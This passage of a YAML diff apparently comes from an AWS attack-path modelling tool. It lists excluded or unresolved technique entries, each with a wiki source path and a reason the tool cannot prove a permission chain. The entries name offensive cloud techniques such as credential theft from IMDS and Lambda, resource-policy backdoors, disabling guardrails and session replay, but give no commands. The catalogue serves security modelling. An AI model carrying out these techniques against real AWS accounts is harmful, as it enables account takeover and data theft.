permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesmodifysamlproperties--modifycertificatebasedauthproperties--weaken-desktop-authentication + technique: aws-s05-workspacesmodifysamlproperties-modifycertificatebasedauthproperties-we + reason: '`workspaces:ModifySamlProperties` / `ModifyCertificateBasedAuthProperties` — weaken desktop authentication: + no source IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, + so the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-post-exploitation/README.md#workspacesupdateworkspaceimagepermission--share-a-custom-image-with-an-attacker-account + technique: aws-s05-workspacesupdateworkspaceimagepermission-share-a-custom-image-with-an + reason: '`workspaces:UpdateWorkspaceImagePermission` — share a custom image with an attacker account: no source + IAM action or resource is declared in requires. The conditional aws_role target relies on opaque evidence, so + the YAML cannot prove Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, + credential subject and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/eventbridgescheduler-enum.md#schedulergetschedule--target-input-disclosure + technique: aws-scheduler-getschedule-static-credential + reason: 'Recover a distinct identity credential from Scheduler Target.Input: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-systems-manager-for-sap-enum.md#applications-components-and-databases + technique: aws-ssm-sap-hana-admin-secret + reason: 'Read a registered SAP HANA ADMIN secret: no source IAM action or resource is declared in requires. The + conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-transfer-family-enum.md#main-resource-relationships + technique: aws-transfer-connector-remote-credential + reason: 'Read a Transfer connector remote SFTP credential: no source IAM action or resource is declared in requires. + The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#identity-source-and-cross-account-boundaries + technique: aws-verifiedpermissions-identity-source-impersonation + reason: 'Redirect application token trust to an attacker-controlled identity: no source IAM action or resource + is declared in requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove + Alice''s permission-to-action-to-subject chain. Reauthor the exact source action, resource, credential subject + and effective added permissions before restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#aws-waf-log-credential-harvesting-and-request-replay + technique: aws-waf-sampled-request-session-replay + reason: 'Replay a session recovered from WAF request samples: no source IAM action or resource is declared in + requires. The conditional aws_role target relies on opaque evidence, so the YAML cannot prove Alice''s permission-to-action-to-subject + chain. Reauthor the exact source action, resource, credential subject and effective added permissions before + restoring.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-timestream-post-exploitation/README.md#timestreamcreatescheduledquery--iampassrole--run-sql-and-downstream-writes-as-a-scheduled-query-role + source_revision: 0d0ea06005 + technique: aws-audit-create-scheduled-query-to-exfiltrate-role-readable-secrets + reason: 'Create scheduled query to exfiltrate role-readable secrets: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md#enabling-the-feature-yourself-management-account + technique: aws-audit-enable-centralized-root-sessions-then-call-assumeroot + reason: 'Enable centralized root sessions then call AssumeRoot: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md#aws-identity-center--aws-sso + technique: aws-audit-enable-permission-sets-then-create-admin-assignment + reason: 'Enable permission sets then create admin assignment: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lakeformation-post-exploitation/README.md#register-an-s3-location-under-a-privileged-role + technique: aws-audit-lf-register-an-s3-location-under-a-privileged-384933ea + reason: 'Register S3 location under passed privileged role: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-sitewise-privesc/README.md#grant-yourself-access-to-a-legacy-sitewise-monitor-portal + technique: aws-audit-site-grant-yourself-access-to-a-legacy-sitewi-ec31fb70 + reason: Only the exact self-admin grant on one existing portal with reviewed before/after access is active as aws-sitewise-createaccesspolicy-portal-self-grant. Grants to a different controlled identity and broader Monitor variants remain unproven. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ssm-parameter-and-command-access-post-exploitation/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmstartassociationsonce--run-a-stored-association-on-its-fixed-targets + source_revision: 3ad99dc7ac + technique: aws-audit-start-stored-state-manager-association + reason: 'Start stored State Manager association: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#syntheticsstartcanary--run-unchanged-canary-code-under-its-stored-role + technique: aws-audit-trigger-privileged-existing-canary + reason: 'Trigger privileged existing canary: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-appconfig-post-exploitation/README.md#appconfig-data--read-the-deployed-configuration + technique: aws-audit2-appconfig-2 + reason: 'AppConfig Data — read the deployed configuration: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#enable-previously-granted-legacy-billing-permissions + source_revision: fd7d56b0a9 + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-invoicing-and-billing-privesc/README.md#enable-previously-granted-legacy-billing-permissions + technique: aws-billing-enable-dormant-iam-console-access + reason: 'Enable dormant Billing console grants: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-chime-sdk-enum.md#media-pipelines + technique: aws-chime-rtmp-publisher-key-read + reason: 'Read live connector RTMP publishing key: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codeconnections-post-exploitation/README.md#complete-or-replace-a-connection-installation + technique: aws-codeconnections-installation-consumer + reason: 'Replace connection installation feeding a privileged deployment: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-control-tower-post-exploitation/README.md#enable--disable-controls + technique: aws-controltower-preventive-scp-disable + reason: 'Disable a preventive Control Tower control that enforces an SCP deny: the modeled target is terminal + aws_verified_authority/bounded_authority, and its notes deny new principal permissions. This is not a path to + an exact principal or an explicit new effective permission of Alice. If the operation truly grants an identity + a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc/README.md#dynamodbputresourcepolicy-and-optionally-dynamodbgetresourcepolicy + technique: aws-dynamodb-deleteresourcepolicy-guardrail + reason: 'Delete DynamoDB resource policy to lift a Deny: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-payment-cryptography-enum.md#resource-and-authorization-model + technique: aws-payment-cryptography-crossaccount-key-policy + reason: 'Grant a controlled external principal payment-key operations: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-payment-cryptography-privesc/README.md#payment-cryptographyputresourcepolicy + technique: aws-payment-cryptography-sameaccount-key-policy + reason: 'Grant the source new operations on a primary payment key: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-partner-central-selling-persistence/README.md#add-an-external-engagement-member-for-permanent-snapshot-access + technique: aws-peaso-add-an-external-engagement-member-for-permanent-snapshot-access + reason: 'Invite controlled Partner into Engagement: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-managed-prometheus-persistence/README.md#backdoor-a-workspace-with-its-resource-policy + technique: aws-peaso-backdoor-a-workspace-with-its-resource-policy + reason: 'Grant controlled principal AMP workspace data access: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-msk-policy-persistence/README.md#cross-account-cluster-access-with-kafkaputclusterpolicy + technique: aws-peaso-cross-account-cluster-access-with-kafkaputclusterpolicy + reason: 'Grant controlled account MSK data access: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-q-business-persistence/README.md#cross-account-data-accessor-persistence + technique: aws-peaso-cross-account-data-accessor-persistence + reason: 'Create Q Business cross-account data accessor: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediaconnect-persistence/README.md#grant-a-cross-account-flow-entitlement + technique: aws-peaso-grant-a-cross-account-flow-entitlement + reason: 'Grant controlled account MediaConnect flow entitlement: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#grant-external-ingest--mediapackagev2putchannelpolicy + technique: aws-peaso-grant-external-ingest-mediapackagev2putchannelpolicy + reason: 'Grant anonymous MediaPackage channel ingest: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-payment-cryptography-persistence/README.md#persist-cross-account-key-access-with-a-resource-policy + technique: aws-peaso-persist-cross-account-key-access-with-a-resource-policy + reason: 'Grant controlled role Payment Cryptography key use: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mediapackage-v2-policy-persistence/README.md#publish-a-private-origin-endpoint--mediapackagev2putoriginendpointpolicy + technique: aws-peaso-publish-a-private-origin-endpoint-mediapackagev2putoriginendpointpolicy + reason: 'Grant anonymous MediaPackage origin read: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-network-manager-persistence/README.md#share-a-core-network-with-an-external-account-through-aws-ram + technique: aws-peaso-share-a-core-network-with-an-external-account-through-aws-ram + reason: 'Share Cloud WAN core network with controlled account: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-q-business-enum.md#data-accessors-and-resource-policies + technique: aws-qbusiness-crossaccount-data-accessor + reason: 'Grant a controlled ISV accessor Q Business retrieval authority: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddpermission + source_revision: 3ad99dc7ac + technique: aws-s05-06-lambda-addpermission + reason: '`lambda:AddPermission`: the modeled target is terminal aws_verified_authority/bounded_authority, and + its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#expose-a-pre-existing-authtypenone-function-url + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#expose-a-pre-existing-authtypenone-function-url + source_revision: 3ad99dc7ac + technique: aws-s05-07-expose-a-pre-existing-authtype-none-function-url + reason: 'Expose a pre-existing `AuthType=NONE` Function URL: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambdaaddlayerversionpermission + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md#lambdaaddlayerversionpermission + source_revision: 3ad99dc7ac + technique: aws-s05-08-lambda-addlayerversionpermission + reason: '`lambda:AddLayerVersionPermission`: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-pca-connector-ad-privesc/README.md#pca-connector-adcreatetemplategroupaccesscontrolentry--grant-enrollment-to-an-attacker-chosen-ad-group + technique: aws-s05-83-pca-connector-ad-createtemplategroupaccesscontrolentry + reason: '`pca-connector-ad:CreateTemplateGroupAccessControlEntry` — grant enrollment to an attacker-chosen AD + group: the modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal + permissions. This is not a path to an exact principal or an explicit new effective permission of Alice. If the + operation truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-transfer-family-post-exploitation/README.md#connector-remote-directory-move-and-delete-capability-pivot + technique: aws-s05-connector-remote-directory-move-and-delete-capability-pivot + reason: 'Connector remote-directory, move, and delete capability pivot: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-verified-permissions-post-exploitation/README.md#delete-or-corrupt-the-authorization-store + technique: aws-s05-delete-or-corrupt-the-authorization-store + reason: 'Delete or corrupt the authorization store: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2applysecuritygroupstoclientvpntargetnetwork--rebind-client-vpn-to-a-trusted-security-group + technique: aws-s05-ec2applysecuritygroupstoclientvpntargetnetwork-rebind-client-vpn-to-a + reason: '`ec2:ApplySecurityGroupsToClientVpnTargetNetwork` — rebind Client VPN to a trusted security group: the + modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal permissions. + This is not a path to an exact principal or an explicit new effective permission of Alice. If the operation + truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2associateclientvpntargetnetwork--ec2createclientvpnroute--attach-client-vpn-to-a-vpc-and-extend-reachable-networks + technique: aws-s05-ec2associateclientvpntargetnetwork-ec2createclientvpnroute-attach-clie + reason: '`ec2:AssociateClientVpnTargetNetwork` + `ec2:CreateClientVpnRoute` — attach Client VPN to a VPC and extend + reachable networks: the modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny + new principal permissions. This is not a path to an exact principal or an explicit new effective permission + of Alice. If the operation truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md#ec2authorizeclientvpningress--broaden-an-authenticated-vpn-clients-network-access + technique: aws-s05-ec2authorizeclientvpningress-broaden-an-authenticated-vpn-clients-netw + reason: '`ec2:AuthorizeClientVpnIngress` — broaden an authenticated VPN client''s network access: the modeled + target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal permissions. This + is not a path to an exact principal or an explicit new effective permission of Alice. If the operation truly + grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpc-lattice-post-exploitation/README.md#vpc-latticecreateservicenetworkvpcassociation--obtain-network-reachability-into-a-service-network + technique: aws-s05-vpc-latticecreateservicenetworkvpcassociation-obtain-network-reachabil + reason: '`vpc-lattice:CreateServiceNetworkVpcAssociation` — obtain network reachability into a service network: + the modeled target is terminal aws_verified_authority/bounded_authority, and its notes deny new principal permissions. + This is not a path to an exact principal or an explicit new effective permission of Alice. If the operation + truly grants an identity a new action, reauthor that identity and action explicitly.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#wafv2tagresource-wafv2untagresource + technique: aws-s05-wafv2tagresource-wafv2untagresource + reason: '**`wafv2:TagResource`, `wafv2:UntagResource`**: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#enumerate-stores-and-aliases + technique: aws-verifiedpermissions-alias-rebind + reason: 'Rebind a production alias to a permissive policy store: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-verified-permissions-enum.md#exact-iam-boundaries + technique: aws-verifiedpermissions-policy-app-admin + reason: 'Grant application privileges through a Cedar policy: the modeled target is terminal aws_verified_authority/bounded_authority, + and its notes deny new principal permissions. This is not a path to an exact principal or an explicit new effective + permission of Alice. If the operation truly grants an identity a new action, reauthor that identity and action + explicitly.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-transfer-family-privesc/README.md#as2-partner-certificate-substitution--impersonate-a-trading-partner + technique: aws-v3-01-substitute-an-as2-partner-signing-certificate + reason: 'Substitute an AS2 partner signing certificate: actions transfer:ImportCertificate, transfer:UpdateProfile + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-acm-persistence/README.md#register-an-attacker-controlled-acme-certificate-account + technique: aws-v3-02-register-an-acme-account-with-a-binding-to-issue-certif + reason: 'Register an ACME account with a binding to issue certificates through its IAM role: actions acm:GetAcmeExternalAccountBindingCredentials + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appintegrations-persistence/README.md#appintegrations + technique: aws-v3-03-replace-a-trusted-connect-workspace-application-with-at + reason: 'Replace a trusted Connect workspace application with attacker-controlled content: actions app-integrations:UpdateApplication + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-workspaces-web-persistence/README.md#persist-a-hostile-extension-in-every-secure-browser-session + technique: aws-v3-04-force-install-a-hostile-extension-in-workspaces-web-ses + reason: 'Force-install a hostile extension in WorkSpaces Web sessions: actions workspaces-web:UpdateBrowserSettings + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-workspaces-web-persistence/README.md#persist-an-attacker-controlled-portal-identity-provider + technique: aws-v3-05-add-or-replace-a-workspaces-web-portal-saml-oidc-identi + reason: 'Add or replace a WorkSpaces Web portal SAML/OIDC identity provider: actions workspaces-web:CreateIdentityProvider + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-user-pool-unauthenticated-access/README.md#multi-region-replicas-split-password-lockout-counters + technique: aws-v3-06-use-independent-cognito-replica-lockout-counters-to-gue + reason: 'Use independent Cognito replica lockout counters to guess a user password: no source permission/action + is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and + the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#1-runtime-ssrf---mmds-credentials + technique: aws-v3-07-agentcore-runtime-ssrf-to-its-execution-role-credential + reason: 'AgentCore Runtime SSRF to its execution-role credentials: no source permission/action is declared. The + required foothold or credential possession cannot be inferred from an AWS IAM principal, and the challenge evidence + is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#steal-the-container-instance-role-from-an-ecs-on-ec2-task + technique: aws-v3-08-read-ec2-instance-profile-credentials-from-imds-inside + reason: 'Read EC2 instance-profile credentials from IMDS inside an ECS task: no source permission/action is declared. + The required foothold or credential possession cannot be inferred from an AWS IAM principal, and the challenge + evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#steal-co-located-task-credentials-after-compromising-the-container-instance + technique: aws-v3-09-use-host-or-container-runtime-control-to-steal-credenti + reason: 'Use host or container-runtime control to steal credentials of neighboring ECS tasks: no source permission/action + is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and + the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#exfiltrate-lambda-credentials + technique: aws-v3-10-read-lambda-execution-role-credentials-from-runtime-env + reason: 'Read Lambda execution-role credentials from runtime environment variables: no source permission/action + is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and + the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-migration-hub-strategy-recommendations-post-exploitation/README.md#harvest-credentials-from-a-compromised-collector-host + technique: aws-v3-11-harvest-the-strategy-recommendations-collector-aws-keys + reason: 'Harvest the Strategy Recommendations collector AWS keys from local configuration: no source permission/action + is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and + the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-privileged-event-consumer-injection.md#preconditions-and-discovery-without-list-permissions + technique: aws-v3-12-drive-a-privileged-lambda-consumer-through-a-writable-e + reason: 'Drive a privileged Lambda consumer through a writable event source: actions sns:Publish are stated, but + the aws_verified_authority target does not identify an exact principal or encode a verified new effective permission. + The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#cross-service-pivot-publish-into-an-existing-iot-rule-and-lambda + technique: aws-v3-13-publish-to-an-iot-rule-whose-lambda-action-misuses-atta + reason: 'Publish to an IoT rule whose Lambda action misuses attacker-controlled fields: actions iot:Publish are + stated, but the aws_verified_authority target does not identify an exact principal or encode a verified new + effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lex-v2-post-exploitation/README.md#abuse-an-existing-code-hook-through-runtime-access + technique: aws-v3-14-trigger-privileged-business-actions-through-a-lex-fulfi + reason: 'Trigger privileged business actions through a Lex fulfillment hook: actions lex:RecognizeText are stated, + but the aws_verified_authority target does not identify an exact principal or encode a verified new effective + permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#aws-waf-log-credential-harvesting-and-request-replay + technique: aws-v3-15-replay-a-victim-application-session-recovered-from-waf + reason: 'Replay a victim application session recovered from WAF records: actions logs:FilterLogEvents are stated, + but the aws_verified_authority target does not identify an exact principal or encode a verified new effective + permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-device-farm-post-exploitation/README.md#take-over-a-running-remote-access-device + technique: aws-v3-16-redeem-a-device-farm-session-endpoint-and-control-a-log + reason: 'Redeem a Device Farm session endpoint and control a logged-in test account: actions devicefarm:GetRemoteAccessSession + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-gamelift-streams-post-exploitation/README.md#reconnect-to-an-active-or-disconnected-session + technique: aws-v3-17-reconnect-to-another-user-s-live-gamelift-streams-appli + reason: 'Reconnect to another user’s live GameLift Streams application session: actions gameliftstreams:CreateStreamSessionConnection + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-web-post-exploitation/README.md#add-or-replace-an-attacker-controlled-identity-provider + technique: aws-v3-18-attach-an-attacker-idp-to-a-workspaces-secure-browser-p + reason: 'Attach an attacker IdP to a WorkSpaces Secure Browser portal: actions workspaces-web:CreateIdentityProvider + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-sitewise-privesc/README.md#grant-yourself-access-to-a-legacy-sitewise-monitor-portal + technique: aws-v3-19-grant-a-controlled-identity-sitewise-monitor-administra + reason: Only the exact self-admin grant on one existing portal with reviewed before/after access is active as aws-sitewise-createaccesspolicy-portal-self-grant. The legacy controlled-other-identity target lacks a typed source-control join and remains excluded. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-chat-room-token-post-exploitation/README.md#mint-a-room-token-and-join-the-data-plane + technique: aws-v3-20-mint-an-ivs-chat-token-using-another-application-user-i + reason: 'Mint an IVS Chat token using another application user ID: actions ivschat:CreateChatToken are stated, + but the aws_verified_authority target does not identify an exact principal or encode a verified new effective + permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-audit-manager-post-exploitation/README.md#delegate-a-control-set-to-another-role + technique: aws-v3-21-delegate-audit-manager-control-set-authority-to-an-atta + reason: 'Delegate Audit Manager control-set authority to an attacker-controlled role: actions auditmanager:BatchCreateDelegationByAssessment + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: 